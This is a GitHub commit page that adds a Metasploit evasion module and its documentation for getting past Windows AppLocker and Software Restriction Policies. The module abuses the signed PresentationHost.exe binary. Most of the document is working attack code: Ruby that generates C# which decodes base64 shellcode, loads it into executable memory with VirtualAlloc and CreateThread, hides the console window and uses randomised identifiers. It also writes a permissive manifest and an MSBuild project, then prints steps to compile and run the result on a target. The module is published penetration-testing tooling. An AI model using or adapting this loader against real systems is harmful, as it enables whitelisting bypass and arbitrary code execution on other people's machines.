Skip to content

Commit

Permalink
Land rapid7#12154, Add evasion module applocker_evasion_presentationhost
Browse files Browse the repository at this point in the history
  • Loading branch information
wchen-r7 committed Sep 12, 2019
2 parents f48a065 + 61a1aba commit 97fbfa3
Show file tree
Hide file tree
Showing 2 changed files with 203 additions and 0 deletions.
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
## Intro

This module is designed to evade solutions such as software restriction policies and Applocker.
Applocker in its default configuration will block code in the form of executables (.exe and .com, .msi), scripts (.ps1, .vbs, .js) and dll's from running in user controlled directories.
Applocker enforces this by employing whitelisting, in that code can only be run from the protected directories and sub directories of "Program Files" and "Windows"
The main vector for this bypass is to use the trusted binary PresentationHost.exe to execute user supplied code as this binary is located within the trusted Windows directory.

## Vulnerable Application

This evasion will work on all versions of Windows that include .NET versions 3.5 or greater that has solutions such as Applocker or Software Restriction Policies active, that do not explicitly block PresentationHost.exe.

## Options

- **CS_FILE** - Filename for the evasive file (default: presentationhost.xaml.cs).
- **MANIFEST_FILE** - Filename for the evasive file (default: presentationhost.manifest).
- **CSPROJ_FILE** - Filename for the evasive file (default: presentationhost.csproj).

## Verification Steps

1. Start `msfconsole`
2. Do: `use evasion/windows/applocker_evasion_presentationhost`
3. Do: `set PAYLOAD <payload>` (note: only x86 payloads are supported by this module)
4. Do: `run`
5. The module will now display instructions of how to proceed
6. `[+] presentationhost.xaml.cs stored at /root/.msf4/local/presentationhost.xaml.cs`
7. `[+] presentationhost.manifest stored at /root/.msf4/local/presentationhost.manifest`
8. `[+] presentationhost.csproj stored at /root/.msf4/local/presentationhost.csproj`
9. `[*] Copy presentationhost.xaml.cs, presentationhost.manifest and presentationhost.csproj to the target`
10. `[*] Compile using: C:\Windows\Microsoft.Net\Framework\[.NET Version]\MSBuild.exe presentationhost.csproj` replace [.NET Version] with the version directory present on the target (typically "v4.0.30319").
11. `[*] Execute using: C:\Windows\System32\PresentationHost.exe [Full Path To] presentationhost.xbap` replace [.NET Version] with the version directory present on the target (typically "v4.0.30319") and replace [Full Path To] with the full path to the .xbap.

## References

https://medium.com/tsscyber/applocker-bypass-presentationhost-exe-8c87b2354cd4
https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker
https://docs.microsoft.com/en-us/windows-server/identity/software-restriction-policies/software-restriction-policies
167 changes: 167 additions & 0 deletions modules/evasion/windows/applocker_evasion_presentationhost.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,167 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Evasion

def initialize(info = {})
super(update_info(info,
'Name' => 'Applocker Evasion - Windows Presentation Foundation Host',
'Description' => %(
This module will assist you in evading Microsoft
Windows Applocker and Software Restriction Policies.
This technique utilises the Microsoft signed binary
PresentationHost.exe to execute user supplied code.
),
'Author' =>
[
'Nick Tyrer <@NickTyrer>', # module development
'Casey Smith' # presentationhost bypass research
],
'License' => 'MSF_LICENSE',
'Platform' => 'win',
'Arch' => [ARCH_X86],
'Targets' => [['Microsoft Windows', {}]])
)

register_options(
[
OptString.new('CS_FILE', [true, 'Filename for the .xaml.cs file (default: presentationhost.xaml.cs)', 'presentationhost.xaml.cs']),
OptString.new('MANIFEST_FILE', [true, 'Filename for the .manifest file (default: presentationhost.manifest)', 'presentationhost.manifest']),
OptString.new('CSPROJ_FILE', [true, 'Filename for the .csproj file (default: presentationhost.csproj)', 'presentationhost.csproj'])
]
)

deregister_options('FILENAME')
end

def build_payload
Rex::Text.encode_base64(payload.encoded)
end

def obfu
Rex::Text.rand_text_alpha 8
end

def presentationhost_xaml_cs
esc = build_payload
mod = [obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu]
<<~HEREDOC
using System;
class #{mod[0]}{
static void Main(string[] args){
IntPtr #{mod[1]};
#{mod[1]} = GetConsoleWindow();
ShowWindow(#{mod[1]}, #{mod[2]});
string #{mod[3]} = "#{esc}";
byte[] #{mod[4]} = Convert.FromBase64String(#{mod[3]});
byte[] #{mod[5]} = #{mod[4]};
IntPtr #{mod[6]} = VirtualAlloc(IntPtr.Zero, (UIntPtr)#{mod[5]}.Length, #{mod[7]}, #{mod[8]});
System.Runtime.InteropServices.Marshal.Copy(#{mod[5]}, 0, #{mod[6]}, #{mod[5]}.Length);
IntPtr #{mod[9]} = IntPtr.Zero;
WaitForSingleObject(CreateThread(#{mod[9]}, UIntPtr.Zero, #{mod[6]}, #{mod[9]}, 0, ref #{mod[9]}), #{mod[10]});}
private static Int32 #{mod[7]}=0x1000;
private static IntPtr #{mod[8]}=(IntPtr)0x40;
private static UInt32 #{mod[10]} = 0xFFFFFFFF;
[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr VirtualAlloc(IntPtr a, UIntPtr s, Int32 t, IntPtr p);
[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr CreateThread(IntPtr att, UIntPtr st, IntPtr sa, IntPtr p, Int32 c, ref IntPtr id);
[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr h, UInt32 ms);
[System.Runtime.InteropServices.DllImport("user32.dll")]
static extern bool ShowWindow(IntPtr #{mod[1]}, int nCmdShow);
[System.Runtime.InteropServices.DllImport("Kernel32")]
private static extern IntPtr GetConsoleWindow();
const int #{mod[2]} = 0;}
HEREDOC
end

def presentationhost_manifest
<<~HEREDOC
<?xml version="1.0" encoding="utf-8"?>
<assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1">
<assemblyIdentity version="1.0.0.0" name="MyApplication.app" />
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>
<applicationRequestMinimum>
<defaultAssemblyRequest permissionSetReference="Custom" />
<PermissionSet class="System.Security.PermissionSet" version="1" ID="Custom" SameSite="site" Unrestricted="true" />
</applicationRequestMinimum>
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
<requestedExecutionLevel level="asInvoker" uiAccess="false" />
</requestedPrivileges>
</security>
</trustInfo>
</assembly>
HEREDOC
end

def presentationhost_csproj
<<~HEREDOC
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Import Project="$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props')" />
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Release</Configuration>
<Platform Condition=" '$(Platform)' == '' ">x86</Platform>
<OutputType>WinExe</OutputType>
<HostInBrowser>true</HostInBrowser>
<GenerateManifests>true</GenerateManifests>
<SignManifests>false</SignManifests>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|x86' ">
<Optimize>true</Optimize>
<OutputPath>.</OutputPath>
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
</ItemGroup>
<ItemGroup>
<Compile Include="#{datastore['CS_FILE']}">
<DependentUpon>#{datastore['CS_FILE']}</DependentUpon>
<SubType>Code</SubType>
</Compile>
</ItemGroup>
<ItemGroup>
<None Include="#{datastore['MANIFEST_FILE']}" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\\Microsoft.CSharp.targets" />
</Project>
HEREDOC
end

def file_format_filename(name = '')
name.empty? ? @fname : @fname = name
end

def create_files
f1 = datastore['CS_FILE'].empty? ? 'presentationhost.xaml.cs' : datastore['CS_FILE']
f1 << '.xaml.cs' unless f1.downcase.end_with?('.xaml.cs')
f2 = datastore['MANIFEST_FILE'].empty? ? 'presentationhost.manifest' : datastore['MANIFEST_FILE']
f2 << '.manifest' unless f2.downcase.end_with?('.manifest')
f3 = datastore['CSPROJ_FILE'].empty? ? 'presentationhost.csproj' : datastore['CSPROJ_FILE']
f3 << '.csproj' unless f3.downcase.end_with?('.csproj')
cs_file = presentationhost_xaml_cs
manifest_file = presentationhost_manifest
csproj_file = presentationhost_csproj
file_format_filename(f1)
file_create(cs_file)
file_format_filename(f2)
file_create(manifest_file)
file_format_filename(f3)
file_create(csproj_file)
end

def instructions
print_status "Copy #{datastore['CS_FILE']}, #{datastore['MANIFEST_FILE']} and #{datastore['CSPROJ_FILE']} to the target"
print_status "Compile using: C:\\Windows\\Microsoft.Net\\Framework\\[.NET Version]\\MSBuild.exe #{datastore['CSPROJ_FILE']}"
print_status "Execute using: C:\\Windows\\System32\\PresentationHost.exe [Full Path To] #{datastore['CS_FILE'].gsub('.xaml.cs', '.xbap')}"
end

def run
create_files
instructions
end
end

0 comments on commit 97fbfa3

Please sign in to comment.